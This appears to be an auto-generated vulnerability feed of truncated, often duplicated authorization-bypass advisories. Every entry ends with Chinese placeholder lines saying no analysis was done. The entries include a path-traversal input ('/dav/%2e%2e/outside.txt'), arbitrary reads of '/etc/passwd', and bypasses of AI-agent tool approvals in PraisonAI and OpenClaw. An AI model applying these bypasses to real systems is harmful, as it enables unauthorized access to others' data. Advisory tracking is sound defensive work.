Statamic is a Laravel and Git powered content management system (CMS). Prior to 5.74.0 and 6.20.3, the Live Preview endpoint for existing entries and terms in src/Http/Controllers/CP/PreviewController.php only checked view authorization, but it accepts and renders caller-supplied field values. A Control Panel user with view but not edit permission could therefore submit content they were not autho
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 and IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 could allow an attacker with read-only privileges to make unauthorized modifications and deployments outside of their assigned permissions.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SurrealDB before 3.1.5 fail to apply field-level SELECT permissions to ORDER BY clauses, allowing authenticated users to leak the relative ordering of restricted field values. Attackers can issue ORDER BY queries on indexed restricted fields to recover the hidden values' sort order across records, even though the field itself returns null as intended.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
osTicket versions v1.18.3 and v1.17.7 contain a Broken Object Level Authorization (BOLA) leading to Insecure Direct Object Reference (IDOR) in the AJAX ticket-management subsystem.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SurrealDB before 3.1.5 fail to apply field-level SELECT permissions to ORDER BY clauses, allowing authenticated users to leak the relative ordering of restricted field values. Attackers can issue ORDER BY queries on indexed restricted fields to recover the hidden values' sort order across records, even though the field itself returns null as intended.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dendrite through 0.13.8 contains an improper access control vulnerability in the syncapi /context endpoint (syncapi/routing/context.go) that allows authenticated local users to access post-leave room state events by exploiting a flawed membership check that evaluates only the RoomExists field while ignoring IsInRoom, HasBeenInRoom, and Membership fields. Attackers who have left a room can call the
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
osTicket versions v1.18.3 and v1.17.7 contain a Broken Object Level Authorization (BOLA) leading to Insecure Direct Object Reference (IDOR) in the AJAX ticket-management subsystem.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dendrite through 0.13.8 contains an improper access control vulnerability in the syncapi /context endpoint (syncapi/routing/context.go) that allows authenticated local users to access post-leave room state events by exploiting a flawed membership check that evaluates only the RoomExists field while ignoring IsInRoom, HasBeenInRoom, and Membership fields. Attackers who have left a room can call the
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security flaw has been discovered in mosaxiv clawlet up to 0.2.10. Impacted is the function list/remove of the file tools/tool_cron.go of the component cron Chat Tool. The manipulation results in missing authorization. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The reported GitHub issue was closed with the label "not planned"
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
osTicket versions v1.18.3 and v1.17.7 contain a Broken Object Level Authorization (BOLA) leading to Insecure Direct Object Reference (IDOR) in the AJAX ticket-management subsystem.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security flaw has been discovered in mosaxiv clawlet up to 0.2.10. Impacted is the function list/remove of the file tools/tool_cron.go of the component cron Chat Tool. The manipulation results in missing authorization. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The reported GitHub issue was closed with the label "not planned"
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.6.5 contain an authorization bypass vulnerability in node exec approvals that allows lower-trust callers to execute actions beyond their intended authorization by using different gateway and node environments. Attackers can exploit mismatched environment configurations to persist or execute actions that exceed the caller's approved permissions.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions before 2026.5.18 contain an authorization bypass vulnerability in skill command dispatch that allows lower-trust callers to execute or persist actions beyond their intended authorization. Attackers can bypass tool policy restrictions through configured input paths to perform unauthorized actions when the affected feature is enabled and reachable.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.5.18 contain an authorization bypass vulnerability in the device-pair approval feature that allows lower-trust callers to execute actions beyond their intended authorization. Attackers can exploit misconfigured input paths to execute or persist unauthorized actions when the affected feature is enabled and reachable.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Grav API plugin (getgrav/grav-plugin-api) before 1.0.6 contains an authorization bypass: API keys can be created with a restricted scopes array, but the ApiKeyAuthenticator class never reads or enforces these scopes. It loads and returns the owning user's full account object, so a key created with limited scopes (e.g. read-only) can perform any write, delete, or administrative operation the ow
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw 2026.2.12 before 2026.5.26 contain an authorization bypass vulnerability in the hooks allowedAgentIds validation. A lower-trust caller or configured input path can bypass agent ID restrictions by submitting blank agent IDs, allowing actions that should require stronger authorization or policy checks.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw 2026.5.12 before 2026.5.26 contain an incorrect authorization vulnerability in the ClickClack allowFrom feature. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could execute or persist actions beyond the caller's intended authorization, including running non-allowlisted commands.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw 2026.5.14-beta.1 before 2026.5.27 contain an authorization flaw in the QQBot exec approvals feature. When the feature is enabled and reachable, a lower-trust caller or configured input path could execute or persist actions beyond the caller's intended authorization, allowing non-allowlisted senders to perform unauthorized operations.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.5.10-beta.1 before 2026.6.5 contain an authorization bypass in the ClickClack agent-mode dispatch feature, which could ignore the toolsAllow policy check. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could perform actions that should have required a stronger authorization or policy check.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.6.1 before 2026.6.9 contain a privilege escalation vulnerability in isolated cron jobs that allows lower-trust callers to regain denied execution tools. Attackers can execute or persist actions beyond their intended authorization by leveraging misconfigured input paths in the affected cron feature.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Grav API plugin (getgrav/grav-plugin-api) before 1.0.6 contains an authorization bypass: API keys can be created with a restricted scopes array, but the ApiKeyAuthenticator class never reads or enforces these scopes. It loads and returns the owning user's full account object, so a key created with limited scopes (e.g. read-only) can perform any write, delete, or administrative operation the ow
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.6.5 contain an authorization bypass vulnerability in node exec approvals that allows lower-trust callers to execute actions beyond their intended authorization by using different gateway and node environments. Attackers can exploit mismatched environment configurations to persist or execute actions that exceed the caller's approved permissions.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions before 2026.5.18 contain an authorization bypass vulnerability in skill command dispatch that allows lower-trust callers to execute or persist actions beyond their intended authorization. Attackers can bypass tool policy restrictions through configured input paths to perform unauthorized actions when the affected feature is enabled and reachable.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw MS Teams before 2026.5.12 contain an authorization bypass vulnerability where the allowFrom feature binds to mutable display names. Attackers with lower-trust access can perform actions requiring stronger authorization by exploiting the mutable display name binding in the affected feature.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.5.18 contain an authorization bypass vulnerability in the device-pair approval feature that allows lower-trust callers to execute actions beyond their intended authorization. Attackers can exploit misconfigured input paths to execute or persist unauthorized actions when the affected feature is enabled and reachable.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw 2026.5.12 before 2026.5.26 contain an incorrect authorization vulnerability in the ClickClack allowFrom feature. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could execute or persist actions beyond the caller's intended authorization, including running non-allowlisted commands.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw 2026.2.12 before 2026.5.26 contain an authorization bypass vulnerability in the hooks allowedAgentIds validation. A lower-trust caller or configured input path can bypass agent ID restrictions by submitting blank agent IDs, allowing actions that should require stronger authorization or policy checks.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw 2026.5.14-beta.1 before 2026.5.27 contain an authorization flaw in the QQBot exec approvals feature. When the feature is enabled and reachable, a lower-trust caller or configured input path could execute or persist actions beyond the caller's intended authorization, allowing non-allowlisted senders to perform unauthorized operations.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.5.10-beta.1 before 2026.6.5 contain an authorization bypass in the ClickClack agent-mode dispatch feature, which could ignore the toolsAllow policy check. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could perform actions that should have required a stronger authorization or policy check.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.6.1 before 2026.6.9 contain a privilege escalation vulnerability in isolated cron jobs that allows lower-trust callers to regain denied execution tools. Attackers can execute or persist actions beyond their intended authorization by leveraging misconfigured input paths in the affected cron feature.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Grav API plugin (getgrav/grav-plugin-api) before 1.0.6 contains an authorization bypass: API keys can be created with a restricted scopes array, but the ApiKeyAuthenticator class never reads or enforces these scopes. It loads and returns the owning user's full account object, so a key created with limited scopes (e.g. read-only) can perform any write, delete, or administrative operation the ow
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.6.5 contain an authorization bypass vulnerability in node exec approvals that allows lower-trust callers to execute actions beyond their intended authorization by using different gateway and node environments. Attackers can exploit mismatched environment configurations to persist or execute actions that exceed the caller's approved permissions.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions before 2026.5.18 contain an authorization bypass vulnerability in skill command dispatch that allows lower-trust callers to execute or persist actions beyond their intended authorization. Attackers can bypass tool policy restrictions through configured input paths to perform unauthorized actions when the affected feature is enabled and reachable.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw MS Teams before 2026.5.12 contain an authorization bypass vulnerability where the allowFrom feature binds to mutable display names. Attackers with lower-trust access can perform actions requiring stronger authorization by exploiting the mutable display name binding in the affected feature.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.5.18 contain an authorization bypass vulnerability in the device-pair approval feature that allows lower-trust callers to execute actions beyond their intended authorization. Attackers can exploit misconfigured input paths to execute or persist unauthorized actions when the affected feature is enabled and reachable.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw 2026.5.12 before 2026.5.26 contain an incorrect authorization vulnerability in the ClickClack allowFrom feature. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could execute or persist actions beyond the caller's intended authorization, including running non-allowlisted commands.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw 2026.2.12 before 2026.5.26 contain an authorization bypass vulnerability in the hooks allowedAgentIds validation. A lower-trust caller or configured input path can bypass agent ID restrictions by submitting blank agent IDs, allowing actions that should require stronger authorization or policy checks.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw 2026.5.14-beta.1 before 2026.5.27 contain an authorization flaw in the QQBot exec approvals feature. When the feature is enabled and reachable, a lower-trust caller or configured input path could execute or persist actions beyond the caller's intended authorization, allowing non-allowlisted senders to perform unauthorized operations.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.5.10-beta.1 before 2026.6.5 contain an authorization bypass in the ClickClack agent-mode dispatch feature, which could ignore the toolsAllow policy check. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could perform actions that should have required a stronger authorization or policy check.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw versions 2026.6.1 before 2026.6.9 contain a privilege escalation vulnerability in isolated cron jobs that allows lower-trust callers to regain denied execution tools. Attackers can execute or persist actions beyond their intended authorization by leveraging misconfigured input paths in the affected cron feature.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
wger is a free, open-source workout and fitness manager. In versions prior to 2.6, any authenticated user can read another user's private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own. The vulnerability exists in RoutineViewSet (wger/manager/api/views.py). The view defines two custom actions /logs/ and /stats
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
wger is a free, open-source workout and fitness manager. In versions prior to 2.6, any authenticated user can read another user's private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own. The vulnerability exists in RoutineViewSet (wger/manager/api/views.py). The view defines two custom actions /logs/ and /stats
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. GENURLAUTH-issued tokens can bypass ACLs. Any authenticated user could mint a URLAUTH token (via the GENURLAUTH command) for any mailbox they could name, even without read access on it. This would allow reading mail from mailboxes despite having no granted permissions.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. The LOCALDELETE command bypassed ACL checks. An authenticated but non-admin user could invoke the admin-only LOCALDELETE IMAP command and delete mailboxes for which they had no permissions.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. There is an XAPPLEPUSHSERVICE folder existence oracle and push hijack. An authenticated IMAP user could probe for the existence of arbitrary mailboxes on other users' accounts via the XAPPLEPUSHSERVICE command and then create Apple Push Notification Service notifications for new mail in those mailboxes to their own APNS device. T
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. The vacation "fcc" feature skips the destination-mailbox ACL. A user whose vacation Sieve script used :fcc (to save a copy of the sent message) could deliver vacation auto-reply copies into any mailbox the script could name, regardless of whether the script owner had insert permissions on the destination mailbox.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under acme.cert-manager.io can be created directly by namespace users without admission validation tying the Challenge to an Order, owner reference, or Issuer-selecte
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact A user holding only `reader` (read-only) privileges on a single database could execute arbitrary JVM code by sending a `"language": "js"` command to the `POST /api/v1/command/{database}` HTTP endpoint, and use it to read arbitrary files on the host filesystem (e.g. `/etc/passwd`, configuration files), outside the scope of the database itself. Two cooperating defects made this possible
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact The fix for CVE-2026-44221 (GHSA-fxc7-fm93-6q77) added an `UPDATE_SCHEMA` authorization check to a single schema-mutating method (`LocalDocumentType.createProperty`). The remaining public schema mutators were left unchecked, so an authenticated identity (including a **read-only API token**) that lacks the `UPDATE_SCHEMA` permission could still mutate the database schema on its own data
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under acme.cert-manager.io can be created directly by namespace users without admission validation tying the Challenge to an Order, owner reference, or Issuer-selecte
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. GENURLAUTH-issued tokens can bypass ACLs. Any authenticated user could mint a URLAUTH token (via the GENURLAUTH command) for any mailbox they could name, even without read access on it. This would allow reading mail from mailboxes despite having no granted permissions.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. The LOCALDELETE command bypassed ACL checks. An authenticated but non-admin user could invoke the admin-only LOCALDELETE IMAP command and delete mailboxes for which they had no permissions.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. The vacation "fcc" feature skips the destination-mailbox ACL. A user whose vacation Sieve script used :fcc (to save a copy of the sent message) could deliver vacation auto-reply copies into any mailbox the script could name, regardless of whether the script owner had insert permissions on the destination mailbox.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. There is an XAPPLEPUSHSERVICE folder existence oracle and push hijack. An authenticated IMAP user could probe for the existence of arbitrary mailboxes on other users' accounts via the XAPPLEPUSHSERVICE command and then create Apple Push Notification Service notifications for new mail in those mailboxes to their own APNS device. T
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Axelor Open Platform versions 8.x prior to 8.2.2 contains an authorization bypass vulnerability that allows authenticated non-admin users to escalate privileges by exploiting unenforced field restrictions on nested relational save operations. Attackers can modify sensitive User record fields such as roles and group by submitting changes through a related entity's save path, bypassing the USER_REST
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Axelor Open Platform versions 8.x prior to 8.2.2 contains an authorization bypass vulnerability that allows authenticated non-admin users to escalate privileges by exploiting unenforced field restrictions on nested relational save operations. Attackers can modify sensitive User record fields such as roles and group by submitting changes through a related entity's save path, bypassing the USER_REST
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. Prior to 2.57.4, multi-tenant HTTP mode with ENABLE_MULTI_TENANT=true could allow an authenticated tenant to access default-scope workflow_versions backups instead of being confined to the tenant scope, exposing or deleting workflow-version backups from prior single-tenant deployments
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. Prior to 2.57.4, multi-tenant HTTP mode with ENABLE_MULTI_TENANT=true could allow an authenticated tenant to access default-scope workflow_versions backups instead of being confined to the tenant scope, exposing or deleting workflow-version backups from prior single-tenant deployments
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cilium is a networking, observability, and security solution. From 1.19.0 to 1.19.4, standard Kubernetes NetworkPolicy specifications using CIDR-based ipBlock rules without pod or namespace selectors erroneously generate a wildcard namespace allow rule when Cilium is configured with a custom clusterName rather than the default any value. The parser incorrectly instantiates a pod selector on select
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cilium is a networking, observability, and security solution. From 1.19.0 to 1.19.4, standard Kubernetes NetworkPolicy specifications using CIDR-based ipBlock rules without pod or namespace selectors erroneously generate a wildcard namespace allow rule when Cilium is configured with a custom clusterName rather than the default any value. The parser incorrectly instantiates a pod selector on select
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
immich before 3.0.3 contains a broken access control vulnerability in the PUT /albums/:id/user/:userId endpoint that allows shared album editors to modify member roles without owner-only restrictions. Attackers with editor access can demote the album owner to editor and promote themselves to owner in sequential requests, gaining full control including deletion and eviction capabilities.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
FastGPT is a knowledge-based AI application platform. From 4.14.17 until 4.15.0-beta5, an authenticated FastGPT user can save a workflow node that points to another user's private HTTP toolset by using a crafted saved tool id such as http-/. The normal toolset routes deny access, but the workflow save and runtime path did not apply the same authorization check to the referenced toolset, allowing /
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
immich before 3.0.3 contains a broken access control vulnerability in the PUT /albums/:id/user/:userId endpoint that allows shared album editors to modify member roles without owner-only restrictions. Attackers with editor access can demote the album owner to editor and promote themselves to owner in sequential requests, gaining full control including deletion and eviction capabilities.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Better Auth is an authentication and authorization library for TypeScript. From 1.2.10 until 1.6.11, the @better-auth/sso plugin's POST /sso/register endpoint lets any organization member attach a new SSO provider to that organization because registerSSOProvider checks only for a membership row and does not require an owner or admin role, allowing attacker-controlled OIDC or SAML providers to driv
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Better Auth is an authentication and authorization library for TypeScript. Prior to 1.6.11, the legacy oidcProvider and mcp plugins expose OAuth token endpoints whose refresh_token grant authenticates only possession of the bound refreshToken row and matching client_id, without verifying the confidential client's client_secret, allowing an attacker with a valid refresh_token to mint access tokens
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Better Auth is an authentication and authorization library for TypeScript. From 1.2.10 until 1.6.11, the @better-auth/sso plugin's POST /sso/register endpoint lets any organization member attach a new SSO provider to that organization because registerSSOProvider checks only for a membership row and does not require an owner or admin role, allowing attacker-controlled OIDC or SAML providers to driv
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Better Auth is an authentication and authorization library for TypeScript. Prior to 1.6.11, the legacy oidcProvider and mcp plugins expose OAuth token endpoints whose refresh_token grant authenticates only possession of the bound refreshToken row and matching client_id, without verifying the confidential client's client_secret, allowing an attacker with a valid refresh_token to mint access tokens
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SurrealDB is a scalable, distributed, collaborative, document-graph database for the realtime web. Prior to 3.1.0, Document::purge_edges in surrealdb/core/src/doc/delete.rs automatically removed graph edge records with permissions disabled through opt.clone().with_perms(false) when a connected node was deleted, bypassing the edge table's PERMISSIONS FOR delete and PERMISSIONS FOR select clauses. T
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
FastGPT is a knowledge-based AI application platform. From 4.14.17 until 4.15.0-beta5, an authenticated FastGPT user can save a workflow node that points to another user's private HTTP toolset by using a crafted saved tool id such as http-/. The normal toolset routes deny access, but the workflow save and runtime path did not apply the same authorization check to the referenced toolset, allowing /
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.17, File Browser can leave a public directory share behind when the shared directory is deleted through a path with a trailing slash because the share cleanup path calls DeleteWithPathPrefix(file.Path, userID) and the Bolt backend performs the datab
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 15.111.0 and 16.22.0, an authenticated user with a standard operational role can trigger server-side template injection through a configuration field, resulting in unauthorized disclosure of data outside the user's normal permission scope. This issue is fixed in versions 15.111.0 and 16.22.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.17, File Browser can leave a public directory share behind when the shared directory is deleted through a path with a trailing slash because the share cleanup path calls DeleteWithPathPrefix(file.Path, userID) and the Bolt backend performs the datab
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 15.111.0 and 16.22.0, an authenticated user with a standard operational role can trigger server-side template injection through a configuration field, resulting in unauthorized disclosure of data outside the user's normal permission scope. This issue is fixed in versions 15.111.0 and 16.22.0.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
FastGPT is a knowledge-based AI application platform. From 4.14.17 until 4.15.0-beta5, the POST /api/core/chat/record/getCollectionQuote endpoint authenticates the caller's chat and collection context, but the initialId center-node lookup is not bound to that authorized context. A low-privileged tenant user can call the endpoint with valid attacker-owned appId, chatId, chatItemDataId, and collecti
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, a Cloudreve WebDAV account rooted at a configured folder can send paths such as /dav/%2e%2e/outside.txt because stripPrefix in pkg/webdav/webdav.go joins the decoded request suffix to the account root with fs.URI.JoinRaw without checking containment, allowing the scoped credential to read and list files outside the con
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cloudreve is a self-hosted file management and sharing system. From 4.12.0 until 4.16.1, Cloudreve's OAuth access tokens are issued without the OAuth client_id claim, so the JWT verifier does not load token scopes into request context and RequiredScopes treats the request like non-scoped session authentication, allowing a low-scope OAuth access token to call APIs requiring higher scopes such as fi
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cloudreve is a self-hosted file management and sharing system. From 4.12.0 until 4.16.1, Cloudreve's OAuth access tokens are issued without the OAuth client_id claim, so the JWT verifier does not load token scopes into request context and RequiredScopes treats the request like non-scoped session authentication, allowing a low-scope OAuth access token to call APIs requiring higher scopes such as fi
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, a Cloudreve WebDAV account rooted at a configured folder can send paths such as /dav/%2e%2e/outside.txt because stripPrefix in pkg/webdav/webdav.go joins the decoded request suffix to the account root with fs.URI.JoinRaw without checking containment, allowing the scoped credential to read and list files outside the con
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
FastGPT is a knowledge-based AI application platform. From 4.14.17 until 4.15.0-beta5, the POST /api/core/chat/record/getCollectionQuote endpoint authenticates the caller's chat and collection context, but the initialId center-node lookup is not bound to that authorized context. A low-privileged tenant user can call the endpoint with valid attacker-owned appId, chatId, chatItemDataId, and collecti
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PraisonAI before 1.6.78 caches tool approval decisions by tool name only, allowing attackers to reuse initial approvals for subsequent calls with arbitrary arguments. Attackers can exploit this by obtaining approval for a benign operation and then executing dangerous file write operations with unreviewed parameters in the same session.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability was found in zhinianboke xianyu-auto-reply up to dcb445ad97816ad65299a7580ee0c8c8f929da84. Affected is an unknown function of the file /api/v1/users/ of the component Backend User Endpoint. Performing a manipulation results in missing authorization. The attack may be initiated remotely. The exploit has been made public and could be used. This product uses a rolling release model to
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Twig is a template language for PHP. Prior to 3.27.0, the per-template filter, tag, and function allow-list verdict is computed when a Template instance is constructed and can remain cached after sandbox state changes between renders, allowing a later sandboxed render to reuse a template that was originally checked with a different or empty policy. This issue is fixed in version 3.27.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
